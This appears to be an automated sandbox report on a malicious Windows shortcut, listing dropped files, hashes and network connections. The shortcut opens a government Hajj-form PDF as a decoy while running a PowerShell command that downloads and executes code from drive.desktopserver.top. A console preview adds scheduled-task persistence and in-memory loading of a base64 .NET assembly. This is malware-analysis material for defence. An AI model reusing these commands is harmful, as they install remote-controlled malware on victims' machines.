Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 15:58:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9890104254039493
Encrypted:	false
SSDEEP:	48:8XRdQTUsMHxidAKZdA1vehDiZUkwqehgy+R:8Xsvvay
MD5:	543E78C3B5E9EA2C75ED2F59513BAEB5
SHA1:	FBCF361A3B1632EF94416295B1D13146DAE1F2B6
SHA-256:	EA0E32FE6352CF3DC147CB2EDE1CD694CD371B4D49EB9D1A891EC93F3EC39FC1
SHA-512:	B945E91AA2F644CECAF224578256C09C9E3088DEF045E689FE33236A567DD6D704635320DB820393EC3E4472CD58D14217425B5CA8E579897598B63B92556C4C
Malicious:	false
Preview:	L..................F.@.. ...$+.,......t.Y...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V>YG............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 15:58:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9806758129173545
Encrypted:	false
SSDEEP:	48:8HdQTUsMHxidAKZdA1hehBiZUk1W1qehmy+C:8SvP9Gy
MD5:	D7194288AC5B1BB49452AC17ABFDC5D3
SHA1:	77AFEEF717F61A301BD84D9F99612877C03EEBDA
SHA-256:	48997E66BD4F2481AFE20BDD7DB85514239E554D2222E561F10145AC75831E76
SHA-512:	129A11416872C4F737FBD259A930C397C9E1334A4659E01FB2EC18079FA44B668AA2CC62E229B7CC999944B5458DE18D8B6443CE1BCB7D2C2ED4F1527EDA93B4
Malicious:	false
Preview:	L..................F.@.. ...$+.,........Y...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V>YG............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Sep 30 15:58:12 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9880372890722673
Encrypted:	false
SSDEEP:	48:8vdQTUsMHxidAKZdA1duT+ehOuTbbiZUk5OjqehOuTboy+yT+:8qvHT/TbxWOvTboy7T
MD5:	9486399A8B1687E0F799E290456C2BA5
SHA1:	EB029DBAE38134060D279AFDC4BED9F45DF08292
SHA-256:	30594F024AB324CC5288727CBDED362B4CAA14234929C02C4F2907D947BF71CB
SHA-512:	481C8A8EBF6563081AF82E545303A9240FB95AFA11F39987BFFC5910693FB941478D6636FEA577B460E2AF78D7CD5605524111FFA08E8EA411C28A410CFAD9E5
Malicious:	false
Preview:	L..................F.@.. ...$+.,......g.Y...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I>YE.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V>YE.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V>YE.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V>YE............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V>YG............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............\......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\6471059a-8090-4a9a-bead-41debf20281d.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	7.307823308697814
Encrypted:	false
SSDEEP:	24:+4S71RfxKBjEI2eQm/uGA7vSQM1ng7agsYnxse+T:+4S79cjE9eQm/udzSQFbsYxseU
MD5:	263BDE3FB2A544CA77A3135E14C4850A
SHA1:	F85130F69C04245C8AB1FFC4DAB4B142C5A55492
SHA-256:	602E35C3F58BA4610F33A23C7C6BC3942A73F4F415F17A9DBC1C316E460EA59A
SHA-512:	BD6C4E1C39B502F1313B70EB1B7516C883C0FDCFFD953B4E982D53C3279122A0995A682AEC2CF571394A7EB96D94924E1A1D2F96F8AD3A843B979ADD2A6E5372
Malicious:	false
Preview:	%PDF-1.7.%......236 0 obj.<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>stream..h.t....0.._e..$...Pr.]=.../.x.m..]#1...;F.........3..R.;8.Y.>.`..>6).U......\|.Q.....a....e..'77<.........Ox....ni<u..};.....g<....%.(...i.A....a.g._......AJ..9.:..... V...._TN[.......Q.n.D.... .0.......mhXy.Ym........J/...4..~.....J..0.v[m...endstream.endobj.237 0 obj.<</Filter/FlateDecode/First 16/Length 138/N 3/Type/ObjStm>>stream..h.P0P.T06W05U04.T...w./.+Q0.w.,..J.(...$.... ...P.Kjq.................~..% .@:...R..X.9!.%9. ..........@.8.1.........2....i.4. ..q\|7...endstream.endobj.238 0 obj.<</Filter/FlateDecode/First 30/Length 208/N 4/Type/ObjStm>>stream..h.t.K..0......^..U(..<......5.Tj....#..{Xf.0...#C...B..(...P.R.s.=^..%._...!#,.'lE..:..g8.c.........T.i.....4&....pd...)qquPr*.I..._.....P@....N...N...c.zx..C...4.........8........-..2.A.:........bk...endstream.endobj.239 0 obj.<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>stream..h..]k.0...{....R.km

C:\Users\user\Downloads\downloaded.pdf (copy)

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	891955
Entropy (8bit):	7.996703287304892
Encrypted:	true
SSDEEP:	24576:SSSgPS+tLZMiOqibD0h4s2d1U5G0xQcSV:LHP3tXifSwiv2
MD5:	196653CFA44FEF5A41C6A2F9CB033A72
SHA1:	5B2817C77AFE7C89CC8B5B24941FAE00EA6B8E17
SHA-256:	55C847593AD141CC2AADFEDFCA6B36DB911FCB3B1C232A6C452B50F59DC32EDC
SHA-512:	7B0AA334767997F6A610088E17CDC6F34EE40EFFB8DFE6F61D78009496C22520B7BC633EAC8B8F005FCD7046F45449D2F0DCC6124F285A5808DD955DB0D3F8B2
Malicious:	false
Preview:	%PDF-1.7.%......236 0 obj.<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>stream..h.t....0.._e..$...Pr.]=.../.x.m..]#1...;F.........3..R.;8.Y.>.`..>6).U......\|.Q.....a....e..'77<.........Ox....ni<u..};.....g<....%.(...i.A....a.g._......AJ..9.:..... V...._TN[.......Q.n.D.... .0.......mhXy.Ym........J/...4..~.....J..0.v[m...endstream.endobj.237 0 obj.<</Filter/FlateDecode/First 16/Length 138/N 3/Type/ObjStm>>stream..h.P0P.T06W05U04.T...w./.+Q0.w.,..J.(...$.... ...P.Kjq.................~..% .@:...R..X.9!.%9. ..........@.8.1.........2....i.4. ..q\|7...endstream.endobj.238 0 obj.<</Filter/FlateDecode/First 30/Length 208/N 4/Type/ObjStm>>stream..h.t.K..0......^..U(..<......5.Tj....#..{Xf.0...#C...B..(...P.R.s.=^..%._...!#,.'lE..:..g8.c.........T.i.....4&....pd...)qquPr*.I..._.....P@....N...N...c.zx..C...4.........8........-..2.A.:........bk...endstream.endobj.239 0 obj.<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>stream..h..]k.0...{....R.km

C:\Users\user\Downloads\downloaded.pdf.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	dropped
Size (bytes):	891955
Entropy (8bit):	7.996703287304892
Encrypted:	true
SSDEEP:	24576:SSSgPS+tLZMiOqibD0h4s2d1U5G0xQcSV:LHP3tXifSwiv2
MD5:	196653CFA44FEF5A41C6A2F9CB033A72
SHA1:	5B2817C77AFE7C89CC8B5B24941FAE00EA6B8E17
SHA-256:	55C847593AD141CC2AADFEDFCA6B36DB911FCB3B1C232A6C452B50F59DC32EDC
SHA-512:	7B0AA334767997F6A610088E17CDC6F34EE40EFFB8DFE6F61D78009496C22520B7BC633EAC8B8F005FCD7046F45449D2F0DCC6124F285A5808DD955DB0D3F8B2
Malicious:	false
Preview:	%PDF-1.7.%......236 0 obj.<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>stream..h.t....0.._e..$...Pr.]=.../.x.m..]#1...;F.........3..R.;8.Y.>.`..>6).U......\|.Q.....a....e..'77<.........Ox....ni<u..};.....g<....%.(...i.A....a.g._......AJ..9.:..... V...._TN[.......Q.n.D.... .0.......mhXy.Ym........J/...4..~.....J..0.v[m...endstream.endobj.237 0 obj.<</Filter/FlateDecode/First 16/Length 138/N 3/Type/ObjStm>>stream..h.P0P.T06W05U04.T...w./.+Q0.w.,..J.(...$.... ...P.Kjq.................~..% .@:...R..X.9!.%9. ..........@.8.1.........2....i.4. ..q\|7...endstream.endobj.238 0 obj.<</Filter/FlateDecode/First 30/Length 208/N 4/Type/ObjStm>>stream..h.t.K..0......^..U(..<......5.Tj....#..{Xf.0...#C...B..(...P.R.s.=^..%._...!#,.'lE..:..g8.c.........T.i.....4&....pd...)qquPr*.I..._.....P@....N...N...c.zx..C...4.........8........-..2.A.:........bk...endstream.endobj.239 0 obj.<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>stream..h..]k.0...{....R.km

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	32038
Entropy (8bit):	5.104352236785294
Encrypted:	false
SSDEEP:	384:9FMKxxje8gZryMDXe3ibKSo3MdXA1SPrQHg4M:bpr68gVy1i2SzdXA1wrQHg4M
MD5:	4859E39AE6C0F1F428F2126A6BB32BD9
SHA1:	1C0C85678AE963BC96D0B7FBE1EB89074CF1FBE0
SHA-256:	A94F8A8553CAEA8430DD4CA3CC01D4E318D19828F74CB65453FFB7F5D9E2F44D
SHA-512:	97541B40D8BEAC0DD8831EF8D2814EFEF10CFB185DF316E05B4F3AEF0A2D1839FB7A39D90F141F490E21B2955C32DF9D690785CC4DEF97CDFCE21ACF9BBAA2C7
Malicious:	false
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@................................................................................................................................................u..L..n......................................................x..V..m......................................................{..X..n.........................................................\..q........................................................a..u........................................................d..x................................................S.......i..{................................................E.......q...................................................E.......o...................................................E.......q...................................................E.......u...................................................C........................................................

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 4 icons, 16x16, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	32038
Entropy (8bit):	5.104352236785294
Encrypted:	false
SSDEEP:	384:9FMKxxje8gZryMDXe3ibKSo3MdXA1SPrQHg4M:bpr68gVy1i2SzdXA1wrQHg4M
MD5:	4859E39AE6C0F1F428F2126A6BB32BD9
SHA1:	1C0C85678AE963BC96D0B7FBE1EB89074CF1FBE0
SHA-256:	A94F8A8553CAEA8430DD4CA3CC01D4E318D19828F74CB65453FFB7F5D9E2F44D
SHA-512:	97541B40D8BEAC0DD8831EF8D2814EFEF10CFB185DF316E05B4F3AEF0A2D1839FB7A39D90F141F490E21B2955C32DF9D690785CC4DEF97CDFCE21ACF9BBAA2C7
Malicious:	false
URL:	https://mora.gov.pk/favicon.ico
Preview:	............ .h...F... .... .........00.... ..%..V...@@.... .(B...:..(....... ..... .....@................................................................................................................................................u..L..n......................................................x..V..m......................................................{..X..n.........................................................\..q........................................................a..u........................................................d..x................................................S.......i..{................................................E.......q...................................................E.......o...................................................E.......q...................................................E.......u...................................................C........................................................

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PDF document, version 1.7 (zip deflate encoded)
Category:	downloaded
Size (bytes):	891955
Entropy (8bit):	7.996703287304892
Encrypted:	true
SSDEEP:	24576:SSSgPS+tLZMiOqibD0h4s2d1U5G0xQcSV:LHP3tXifSwiv2
MD5:	196653CFA44FEF5A41C6A2F9CB033A72
SHA1:	5B2817C77AFE7C89CC8B5B24941FAE00EA6B8E17
SHA-256:	55C847593AD141CC2AADFEDFCA6B36DB911FCB3B1C232A6C452B50F59DC32EDC
SHA-512:	7B0AA334767997F6A610088E17CDC6F34EE40EFFB8DFE6F61D78009496C22520B7BC633EAC8B8F005FCD7046F45449D2F0DCC6124F285A5808DD955DB0D3F8B2
Malicious:	false
URL:	https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf
Preview:	%PDF-1.7.%......236 0 obj.<</Filter/FlateDecode/First 9/Length 251/N 2/Type/ObjStm>>stream..h.t....0.._e..$...Pr.]=.../.x.m..]#1...;F.........3..R.;8.Y.>.`..>6).U......\|.Q.....a....e..'77<.........Ox....ni<u..};.....g<....%.(...i.A....a.g._......AJ..9.:..... V...._TN[.......Q.n.D.... .0.......mhXy.Ym........J/...4..~.....J..0.v[m...endstream.endobj.237 0 obj.<</Filter/FlateDecode/First 16/Length 138/N 3/Type/ObjStm>>stream..h.P0P.T06W05U04.T...w./.+Q0.w.,..J.(...$.... ...P.Kjq.................~..% .@:...R..X.9!.%9. ..........@.8.1.........2....i.4. ..q\|7...endstream.endobj.238 0 obj.<</Filter/FlateDecode/First 30/Length 208/N 4/Type/ObjStm>>stream..h.t.K..0......^..U(..<......5.Tj....#..{Xf.0...#C...B..(...P.R.s.=^..%._...!#,.'lE..:..g8.c.........T.i.....4&....pd...)qquPr*.I..._.....P@....N...N...c.zx..C...4.........8........-..2.A.:........bk...endstream.endobj.239 0 obj.<</Filter/FlateDecode/First 33/Length 261/N 5/Type/ObjStm>>stream..h..]k.0...{....R.km

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (710), with CRLF line terminators
Category:	dropped
Size (bytes):	712
Entropy (8bit):	4.973302992469686
Encrypted:	false
SSDEEP:	12:ZuschdNjcA9nFvBKYs2NYssvNjcA9nFvBKYsEWNYsJuCNjcA9nFvBKYsWRgy2XIU:ZudhdiAlFoqNY7iAlFogWNY3CiAlFoSa
MD5:	238417DBBA84AD06B1FA4686D9ABEDE8
SHA1:	F6A8C17B5DA5E3FD8E25E078D8C7AEEE2514BD9F
SHA-256:	344A516275C667A7D02D81C15AE7BB25CE3F2520F57E9479CCE579F2B8E89839
SHA-512:	A5EF078ECF84282CB3596EE8BACC7FBAD9A2299D3F2927B06ED77B8023EEF4108FCF076ECFE4A0745B1F85A3DDADE52C7B6A2A6CD63CED758D08D3E2181B2015
Malicious:	false
Preview:	schtasks /create /tn "CleanerRes" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f ; schtasks /create /tn "DriversUpdate" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f ; schtasks /create /tn "ZGraphics" /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f;$string = irm ('http://drive.desktopserver.top/file/res/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');..

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Has Description string, Has command line arguments, Icon number=0, ctime=Wed Sep 25 05:12:08 2024, mtime=Wed Sep 25 05:12:08 2024, atime=Wed Sep 25 05:12:08 2024, length=0, window=hidenormalshowminimized
Entropy (8bit):	3.972739708853523
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	Sv6eQZzG0Z.lnk
File size:	713 bytes
MD5:	a22f05d003da4d6114cf3de35cc3c034
SHA1:	cff1426f338d1e56504fb2f182157f048c6e1213
SHA256:	21c0756d52ca7947a83529e2cc7d3341f4626b8da05c256f5ec09034d147c6ba
SHA512:	11433bea1369d357e49a901a079eda2e15f20bbc7fa323a6e6119695b22ccf30163023348b0509fd415a3e2429ef9b58accb2f7919fd46d412b7f7a6aeb7c10b
SSDEEP:	12:8//ueyey58AjInWzZrfCsvXmedive3xmDVB14FVTFXSrbOqQHIl0Ru:8+eyeyCSZrfCWnMvehAT14PRm/N0Ru
TLSH:	6E01C80433FA1754F6B3CE3DACB673110A7A7AA5AD10CB8D1160264C5C71624E571F3B
File Content Preview:	L..................F.........,.......,.......,...................................P.O. .:i.....+00.../C:\.....................2.....9YH]..windows\system32\WindowsPowerShell\v1.0\powershell.exe..........9YH]9YH]....w.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.W.i.n.d.

File Icon


Icon Hash:	74f0e4e4e4e1e1ed

Static Windows Shortcut Info

General
Relative Path:
Command Line Argument:	-c start https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf; irm http://drive.desktopserver.top/file/\| Powershell
Icon location:	%ProgramFiles%\Google\Chrome\Application\chrome.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:58:05.044780016 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044800043 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044825077 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044836998 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044853926 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044863939 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044902086 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.044931889 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.044966936 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.045325994 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.045367956 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.045375109 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.045380116 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.045417070 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.045418978 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.045648098 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.045669079 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.046161890 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.046222925 CEST	49713	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.050957918 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.051062107 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.051357985 CEST	443	49713	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.069180012 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.069235086 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.069349051 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.069478035 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.069487095 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.866262913 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.866380930 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.880841017 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.880852938 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.881099939 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:05.883675098 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.883733034 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:05.883755922 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:06.279232979 CEST	49675	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:06.279232025 CEST	49674	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:06.513571024 CEST	49673	443	192.168.2.5	23.1.237.91
Sep 30, 2024 18:58:07.119760990 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.119791031 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.119848967 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.119862080 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.119910002 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.120723963 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.120788097 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.120809078 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.120851040 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.124547005 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.124572992 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.124588966 CEST	49714	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.124598026 CEST	443	49714	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.165709972 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.165745974 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.165837049 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.166004896 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:07.166014910 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:07.176415920 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:07.176451921 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:07.176604033 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:07.176840067 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:07.176851988 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.242602110 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.243063927 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.243082047 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.249232054 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.249248028 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.249264956 CEST	49717	443	192.168.2.5	40.126.32.133
Sep 30, 2024 18:58:08.249279022 CEST	443	49717	40.126.32.133	192.168.2.5
Sep 30, 2024 18:58:08.250410080 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.250478029 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.259634972 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.259654045 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.259917021 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.260644913 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.260685921 CEST	49718	443	192.168.2.5	20.190.159.71
Sep 30, 2024 18:58:08.260703087 CEST	443	49718	20.190.159.71	192.168.2.5
Sep 30, 2024 18:58:08.649828911 CEST	443	49718	20.190.159.71	192.168.2.5
